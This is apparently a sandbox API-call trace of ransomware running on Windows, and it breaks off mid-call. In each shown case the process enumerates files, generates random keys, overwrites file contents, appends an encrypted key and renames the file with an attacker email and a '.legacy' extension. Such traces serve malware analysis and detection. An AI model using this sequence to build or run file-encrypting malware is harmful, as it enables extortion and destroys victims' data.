[0114.558] GetLastError () returned 0x0 [0114.558] SetLastError (dwErrCode=0x0) [0114.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0114.558] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0114.558] GetLastError () returned 0x0 [0114.558] SetLastError (dwErrCode=0x0) [0114.558] GetLastError () returned 0x0 [0114.558] SetLastError (dwErrCode=0x0) [0114.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0114.558] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0114.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0114.558] FindNextFileW (in: hFindFile=0x5c6558, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ada69, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ada69, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x8d7, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="hwexclude.txt", cAlternateFileName="HWEXCL~1.TXT")) returned 1 [0114.558] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0114.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0114.558] GetLastError () returned 0x0 [0114.558] SetLastError (dwErrCode=0x0) [0114.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0114.558] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0114.558] GetLastError () returned 0x0 [0114.558] SetLastError (dwErrCode=0x0) [0114.558] GetLastError () returned 0x0 [0114.559] SetLastError (dwErrCode=0x0) [0114.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0114.559] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0114.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0114.559] FindNextFileW (in: hFindFile=0x5c6558, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3aedef, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3aedef, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x2684, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="nxquery.cat", cAlternateFileName="")) returned 1 [0114.559] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0114.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0114.559] GetLastError () returned 0x0 [0114.559] SetLastError (dwErrCode=0x0) [0114.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0114.559] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0114.559] GetLastError () returned 0x0 [0114.559] SetLastError (dwErrCode=0x0) [0114.559] GetLastError () returned 0x0 [0114.559] SetLastError (dwErrCode=0x0) [0114.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0114.559] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0114.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0114.559] FindNextFileW (in: hFindFile=0x5c6558, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b017f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b017f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x5d7, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="nxquery.inf", cAlternateFileName="")) returned 1 [0114.559] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0114.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0114.559] GetLastError () returned 0x0 [0114.559] SetLastError (dwErrCode=0x0) [0114.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0114.559] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0114.560] GetLastError () returned 0x0 [0114.560] SetLastError (dwErrCode=0x0) [0114.560] GetLastError () returned 0x0 [0114.560] SetLastError (dwErrCode=0x0) [0114.560] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0114.560] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d690 | out: hHeap=0x520000) returned 1 [0114.560] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0114.560] FindNextFileW (in: hFindFile=0x5c6558, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b2895, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b2895, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x4eb0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NXQuery.sys", cAlternateFileName="")) returned 1 [0114.560] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0114.560] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0114.560] GetLastError () returned 0x0 [0114.560] SetLastError (dwErrCode=0x0) [0114.560] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0114.560] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0114.560] GetLastError () returned 0x0 [0114.560] SetLastError (dwErrCode=0x0) [0114.560] GetLastError () returned 0x0 [0114.560] SetLastError (dwErrCode=0x0) [0114.560] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6e0 [0114.560] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6e0 | out: hHeap=0x520000) returned 1 [0114.560] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0114.560] FindNextFileW (in: hFindFile=0x5c6558, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c0d41d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2c0d41d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2c0d41d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0114.561] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0114.561] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0114.561] GetLastError () returned 0x0 [0114.561] SetLastError (dwErrCode=0x0) [0114.561] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0114.561] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0114.561] GetLastError () returned 0x0 [0114.561] SetLastError (dwErrCode=0x0) [0114.561] GetLastError () returned 0x0 [0114.561] SetLastError (dwErrCode=0x0) [0114.561] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0114.561] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0114.561] FindNextFileW (in: hFindFile=0x5c6558, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c0d41d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2c0d41d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2c0d41d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0114.562] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0114.562] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0114.562] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0114.562] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0114.562] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0114.562] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\i386\\NXQuery.sys", dwFileAttributes=0x80) returned 1 [0114.562] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0114.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8420 [0114.563] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0114.563] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\i386\\NXQuery.sys" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x634 [0114.563] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=20144) returned 1 [0114.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4eb0) returned 0x609bd8 [0114.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4eb0) returned 0x2e20fd8 [0114.572] ReadFile (in: hFile=0x634, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x4eb0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x4eb0, lpOverlapped=0x0) returned 1 [0114.649] SetFilePointer (in: hFile=0x634, lDistanceToMove=-20144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.649] WriteFile (in: hFile=0x634, lpBuffer=0x2e20fd8*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20fd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4eb0, lpOverlapped=0x0) returned 1 [0114.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0114.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20fd8 | out: hHeap=0x520000) returned 1 [0114.649] SetFilePointer (in: hFile=0x634, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4eb0 [0114.649] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0114.649] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0114.650] WriteFile (in: hFile=0x634, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0114.650] WriteFile (in: hFile=0x634, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0114.650] CloseHandle (hObject=0x634) returned 1 [0114.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0114.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0114.650] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\i386\\NXQuery.sys" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.sys"), lpNewFileName="\\Windows10Upgrade\\resources\\i386\\NXQuery.sys.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.sys.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0114.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8420 | out: hHeap=0x520000) returned 1 [0114.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0114.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0114.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0114.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c38d0 [0114.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0114.652] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c38d0 | out: pbBuffer=0x5c38d0) returned 1 [0114.652] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0114.652] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\i386\\nxquery.inf", dwFileAttributes=0x80) returned 1 [0114.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0114.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e81f8 [0114.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0114.653] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\i386\\nxquery.inf" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x634 [0114.653] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1495) returned 1 [0114.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5d7) returned 0x582160 [0114.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5d7) returned 0x582740 [0114.653] ReadFile (in: hFile=0x634, lpBuffer=0x582160, nNumberOfBytesToRead=0x5d7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x5d7, lpOverlapped=0x0) returned 1 [0114.866] SetFilePointer (in: hFile=0x634, lDistanceToMove=-1495, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.866] WriteFile (in: hFile=0x634, lpBuffer=0x582740*, nNumberOfBytesToWrite=0x5d7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582740*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5d7, lpOverlapped=0x0) returned 1 [0114.973] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0114.973] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582740 | out: hHeap=0x520000) returned 1 [0114.973] SetFilePointer (in: hFile=0x634, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5d7 [0114.974] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0114.974] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0114.974] WriteFile (in: hFile=0x634, lpBuffer=0x5c38d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c38d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0114.974] WriteFile (in: hFile=0x634, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0114.974] CloseHandle (hObject=0x634) returned 1 [0114.974] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c38d0 | out: hHeap=0x520000) returned 1 [0114.974] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0114.975] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\i386\\nxquery.inf" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.inf"), lpNewFileName="\\Windows10Upgrade\\resources\\i386\\nxquery.inf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.inf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0114.976] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e81f8 | out: hHeap=0x520000) returned 1 [0114.976] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0114.976] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0114.977] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0114.977] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c54a8 [0114.977] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0114.977] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0114.977] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0114.977] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\i386\\nxquery.cat", dwFileAttributes=0x80) returned 1 [0114.978] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0114.978] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8140 [0114.978] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0114.978] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\i386\\nxquery.cat" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x634 [0114.978] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=9860) returned 1 [0114.979] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2684) returned 0x609bd8 [0114.979] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2684) returned 0x60c268 [0114.979] ReadFile (in: hFile=0x634, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x2684, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2684, lpOverlapped=0x0) returned 1 [0114.980] SetFilePointer (in: hFile=0x634, lDistanceToMove=-9860, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.980] WriteFile (in: hFile=0x634, lpBuffer=0x60c268*, nNumberOfBytesToWrite=0x2684, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60c268*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2684, lpOverlapped=0x0) returned 1 [0114.980] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0114.981] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c268 | out: hHeap=0x520000) returned 1 [0114.981] SetFilePointer (in: hFile=0x634, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2684 [0114.981] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0114.981] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0114.981] WriteFile (in: hFile=0x634, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0114.981] WriteFile (in: hFile=0x634, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0114.981] CloseHandle (hObject=0x634) returned 1 [0114.982] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c54a8 | out: hHeap=0x520000) returned 1 [0114.982] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0114.982] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\i386\\nxquery.cat" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.cat"), lpNewFileName="\\Windows10Upgrade\\resources\\i386\\nxquery.cat.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.cat.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0114.983] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8140 | out: hHeap=0x520000) returned 1 [0114.983] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0114.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0114.984] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0114.984] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0114.984] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0114.984] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0114.984] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0114.984] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\i386\\hwexclude.txt", dwFileAttributes=0x80) returned 1 [0114.984] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0114.984] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8b10 [0114.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0114.985] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\i386\\hwexclude.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwexclude.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x634 [0114.985] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2263) returned 1 [0114.985] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8d7) returned 0x582160 [0114.985] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8d7) returned 0x582a40 [0114.985] ReadFile (in: hFile=0x634, lpBuffer=0x582160, nNumberOfBytesToRead=0x8d7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x8d7, lpOverlapped=0x0) returned 1 [0114.992] SetFilePointer (in: hFile=0x634, lDistanceToMove=-2263, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.992] WriteFile (in: hFile=0x634, lpBuffer=0x582a40*, nNumberOfBytesToWrite=0x8d7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582a40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8d7, lpOverlapped=0x0) returned 1 [0114.993] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0114.993] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582a40 | out: hHeap=0x520000) returned 1 [0114.993] SetFilePointer (in: hFile=0x634, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8d7 [0114.993] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0114.993] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0114.993] WriteFile (in: hFile=0x634, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, 